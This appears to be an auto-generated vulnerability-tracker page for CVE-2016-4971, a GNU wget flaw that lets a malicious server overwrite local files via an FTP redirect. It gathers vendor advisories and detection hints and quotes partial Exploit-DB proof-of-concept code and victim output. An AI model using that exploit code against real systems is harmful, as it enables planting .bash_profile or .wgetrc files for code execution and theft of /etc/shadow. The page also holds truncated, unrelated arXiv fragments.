CVE-2016-4971
published 2016-06-30CVE-2016-4971: GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
PriorityP271high8.8CVSS 3.1
AVNACLPRNUIRSUCHIHAH
EXPLOIT
EPSS
46.06%
98.8th percentile
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
Affected
16 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| debian | wget | < wget 1.18-1 (bookworm) | wget 1.18-1 (bookworm) |
| gnu | wget | < 1.18 | 1.18 |
| gnu | wget | >= 0 < 1.18-1 | 1.18-1 |
| gnu | wget | >= 0 < 1.18-1 | 1.18-1 |
| gnu | wget | >= 0 < 1.18-1 | 1.18-1 |
| gnu | wget | >= 0 < 1.18-1 | 1.18-1 |
| oracle | solaris | — | — |
| oracle | solaris | — | — |
| paloalto | pan-os | — | — |
| paloaltonetworks | pan-os | 6.1.0 – 6.1.16 | — |
| paloaltonetworks | pan-os | 7.0.0 – 7.0.14 | — |
| paloaltonetworks | pan-os | 7.1.0 – 7.1.9 | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect wget HTTP responses with a 301 redirect to an FTP URI using anonymous authentication, which is the core exploit primitive for CVE-2016-4971. ↗
- →Monitor for creation or modification of .wgetrc or .bash_profile in user home directories following a wget invocation, as these are the primary payload drop targets. ↗
- →Alert on wget processes that receive an HTTP 301 redirect to an ftp:// scheme URI, especially with anonymous credentials, as this is the exploit trigger. ↗
- →Detect unexpected files written to /etc/cron.d/ by wget processes, which indicates privilege escalation via the .wgetrc output_document setting. ↗
- →Check for wget User-Agent in HTTP requests followed by an FTP redirect response; the exploit specifically checks for 'Wget' in the User-Agent before issuing the malicious redirect. ↗
- →Monitor for wget POST requests containing /etc/shadow content, which indicates the post_file exfiltration stage of the exploit chain. ↗
- →The exploit does not work when wget is invoked with -O /tmp/output; detection should focus on wget invocations without explicit output path flags, especially those run from home directories or web roots. ↗
- ·Exploitation requires the attacker to control or intercept the HTTP server responding to the wget request; it is also exploitable by network-positioned attackers who can inject malicious 301 redirect responses into unencrypted HTTP traffic. ↗
- ·On PAN-OS, exploitation additionally requires the attacker to be authenticated on the Management Interface, limiting the attack surface compared to general wget usage. ↗
- ·The attacker can only write files to the current working directory of the wget process or a directory specified by -P; however, running wget from a home directory or web document root significantly widens impact. ↗
- ·The exploit is also effective with wget mirroring/recursive options (-r or -m), which should be treated as additional high-risk invocation patterns. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
osv8.8HIGH
vendor_debian8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Palo Alto
WGET Vulnerability
vendor_paloalto·2017-05-23·CVSS 8.8
CVE-2016-4971 [HIGH] CWE-254 WGET Vulnerability
WGET Vulnerability
The wget library has been found to contain a vulnerability (CVE 2016-4971). wget allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource. Palo Alto Networks software makes use of the vulnerable library and may be affected. (Ref # PAN-59677/ CVE 2016-4971)
Successfully exploiting this issue would require an attacker to be authenticated on the Management Interface.
This issue affects PAN-OS 6.1.16 and earlier, PAN-OS 7.0.14 and earlier, PAN-OS 7.1.9 and earlier, PAN-OS 8.0
Affected products: PAN-OS
Solution: PAN-OS 6.1.17 and later, PAN-OS 7.0.15 and later, PAN-OS 7.1.10 and later, PAN-OS 8.0.1 and later
Workaround: Palo Alto Networks recommends to implement best practice by allowing web interface access only to a
Ubuntu
Wget vulnerability
vendor_ubuntu·2016-06-20
CVE-2016-4971 Wget vulnerability
Title: Wget vulnerability
Summary: Wget could be made to overwrite files.
Dawid Golunski discovered that Wget incorrectly handled filenames when
being redirected from an HTTP to an FTP URL. A malicious server could
possibly use this issue to overwrite local files.
Instructions: In general, a standard system update will make all the necessary changes.
Red Hat
wget: Lack of filename checking allows arbitrary file upload via FTP redirect
vendor_redhat·2016-06-09·CVSS 8.8
CVE-2016-4971 [HIGH] CWE-73 wget: Lack of filename checking allows arbitrary file upload via FTP redirect
wget: Lack of filename checking allows arbitrary file upload via FTP redirect
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
It was found that wget used a file name provided by the server for the downloaded file when following a HTTP redirect to a FTP server resource. This could cause wget to create a file with a different name than expected, possibly allowing the server to execute arbitrary code on the client.
Mitigation: Use wget with "-O" option to explicitly specify the output filename.
Package: wget (Red Hat Enterprise Linux 5) - Will not fix
Package: wget (Red Hat Enterprise Linux 6) - Will not fix
Debian
CVE-2016-4971: wget - GNU wget before 1.18 allows remote servers to write to arbitrary files by redire...
vendor_debian·2016·CVSS 8.8
CVE-2016-4971 [HIGH] CVE-2016-4971: wget - GNU wget before 1.18 allows remote servers to write to arbitrary files by redire...
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
Scope: local
bookworm: resolved (fixed in 1.18-1)
bullseye: resolved (fixed in 1.18-1)
forky: resolved (fixed in 1.18-1)
sid: resolved (fixed in 1.18-1)
trixie: resolved (fixed in 1.18-1)
GHSA
GHSA-5w8p-rj9f-xvj7: GNU wget before 1
ghsa_unreviewed·2022-05-13
CVE-2016-4971 [HIGH] GHSA-5w8p-rj9f-xvj7: GNU wget before 1
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
OSV
CVE-2016-4971: GNU wget before 1
osv·2016-06-30·CVSS 8.8
CVE-2016-4971 [HIGH] CVE-2016-4971: GNU wget before 1
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
No detection rules found.
Exploit-DB
GNU Wget < 1.18 - Arbitrary File Upload (2)
exploitdb·2021-04-30·CVSS 8.8
CVE-2016-4971 [HIGH] GNU Wget < 1.18 - Arbitrary File Upload (2)
GNU Wget < 1.18 - Arbitrary File Upload (2)
---
# Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)
# Original Exploit Author: Dawid Golunski
# Exploit Author: liewehacksie
# Version: GNU Wget < 1.18
# CVE: CVE-2016-4971
import http.server
import socketserver
import socket
import sys
class wgetExploit(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc/.bash_profile/$file
print("We have a volunteer requesting " + self.path + " by GET :)\n")
if "Wget" not in self.headers.get('User-Agent'):
print("But it's not a Wget :( \n")
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
self.send_response(301)
print("Uploading " + str(FILE) + "via ftp redirect vuln. It should land
Exploit-DB
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution
exploitdb·2016-07-06·CVSS 8.8
CVE-2016-4971 [HIGH] GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution
GNU Wget ‘.bash_profile’
Connecting to 192.168.57.1:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE .bash_profile ... 55
==> PASV ... done. ==> RETR .bash_profile ... done.
Length: 55 (unauthoritative)
.bash_profile 100%[=============================================================================================>] 55 --.-KB/s in 0s
2016-02-19 04:50:37 (1.27 MB/s) - ‘.bash_profile’ saved [55]
victim@trusty:~$ ls -l
total 4
-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile
victim@trusty:~$
This vulnerability will not work if extra options that force destination
filename are specified as a paramter. Such as: -O /tmp/output
It is however possible to exploit the issue with mirror
arXiv
Xanthus: Push-button Orchestration of Host Provenance Data Collection
arxiv_fulltext·2020-05-10
Xanthus: Push-button Orchestration of Host Provenance Data Collection
: Push-button Orchestration of Host Provenance Data Collection
Xueyuan Han
Harvard University
Cambridge, MA
USA
[email protected]
James Mickens
Harvard University
Cambridge, MA
USA
[email protected]
Ashish Gehani
SRI International
Menlo Park, CA
USA
[email protected]
Margo Seltzer
University of British Columbia
Vancouver, BC
Canada
[email protected]
Thomas Pasquier
University of Bristol
Bristol
UK
[email protected]
X. Han et al.
## Abstract
Host-based anomaly detectors
generate alarms by
inspecting audit logs for suspicious behavior.
Unfortunately,
evaluating these anomaly detectors is hard.
There are few high-quality, publicly-available audit logs,
and there are no pre-existing frameworks
that enable push-button creation
of realistic system traces.
To ma
arXiv
UNICORN: Runtime Provenance-Based Detector for Advanced Persistent Threats
arxiv_fulltext·2020-01-14
UNICORN: Runtime Provenance-Based Detector for Advanced Persistent Threats
mydefinitionDefinition
esp.\@
CamQuery
CamFlow
Unicorn
L
Fig.
Table
Alg.
* Listing
* [1] [baseline=(char.base)]
[shape=circle,draw,inner sep=0pt] (char) #1;
: Runtime Provenance-Based Detector for Advanced Persistent Threats
[
hidealllines=true,
leftline=true,
innertopmargin=0pt,
innerbottommargin=0pt,
linewidth=2pt,
linecolor=gray!40,
innerrightmargin=0pt,
]definitioniiDefinition
\@IEEEpubidpullup6.5
Network and Distributed Systems Security (NDSS) Symposium 2020
23-26 February 2020, San Diego, CA, USA
ISBN 1-891562-61-4
https://dx.doi.org/10.14722/ndss.2020.24046
www.ndss-symposium.org
[ ]
Xueyuan Han1,
Thomas Pasquier2,
Adam Bates3,
James Mickens1 and
Margo Seltzer4
1Harvard University
\hanx,mickens\@g.harvard.edu
2University of Bristol
[email protected]
3Univer
Bugzilla
CVE-2016-4971 wget: Lack of filename checking allows arbitrary file upload via FTP redirect
bugzilla·2016-06-07·CVSS 8.8
CVE-2016-4971 [HIGH] CVE-2016-4971 wget: Lack of filename checking allows arbitrary file upload via FTP redirect
CVE-2016-4971 wget: Lack of filename checking allows arbitrary file upload via FTP redirect
GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bash_profile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.
Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:
wget http://attackers-server/safe_file.txt
An attacker who controls the server could make wg
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=e996e322ffd42aaa051602da182d03178d0f13e1http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.htmlhttp://lists.opensuse.org/opensuse-updates/2016-08/msg00043.htmlhttp://packetstormsecurity.com/files/162395/GNU-wget-Arbitrary-File-Upload-Code-Execution.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2587.htmlhttp://www.oracle.com/technetwork/topics/security/bulletinjul2016-3090568.htmlhttp://www.securityfocus.com/bid/91530http://www.securitytracker.com/id/1036133http://www.ubuntu.com/usn/USN-3012-1https://bugzilla.redhat.com/show_bug.cgi?id=1343666https://security.gentoo.org/glsa/201610-11https://security.paloaltonetworks.com/CVE-2016-4971https://www.exploit-db.com/exploits/40064/http://git.savannah.gnu.org/cgit/wget.git/commit/?id=e996e322ffd42aaa051602da182d03178d0f13e1http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.htmlhttp://lists.opensuse.org/opensuse-updates/2016-08/msg00043.htmlhttp://packetstormsecurity.com/files/162395/GNU-wget-Arbitrary-File-Upload-Code-Execution.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2587.htmlhttp://www.oracle.com/technetwork/topics/security/bulletinjul2016-3090568.htmlhttp://www.securityfocus.com/bid/91530http://www.securitytracker.com/id/1036133http://www.ubuntu.com/usn/USN-3012-1https://bugzilla.redhat.com/show_bug.cgi?id=1343666https://security.gentoo.org/glsa/201610-11https://security.paloaltonetworks.com/CVE-2016-4971https://www.exploit-db.com/exploits/40064/
2016-06-30
Published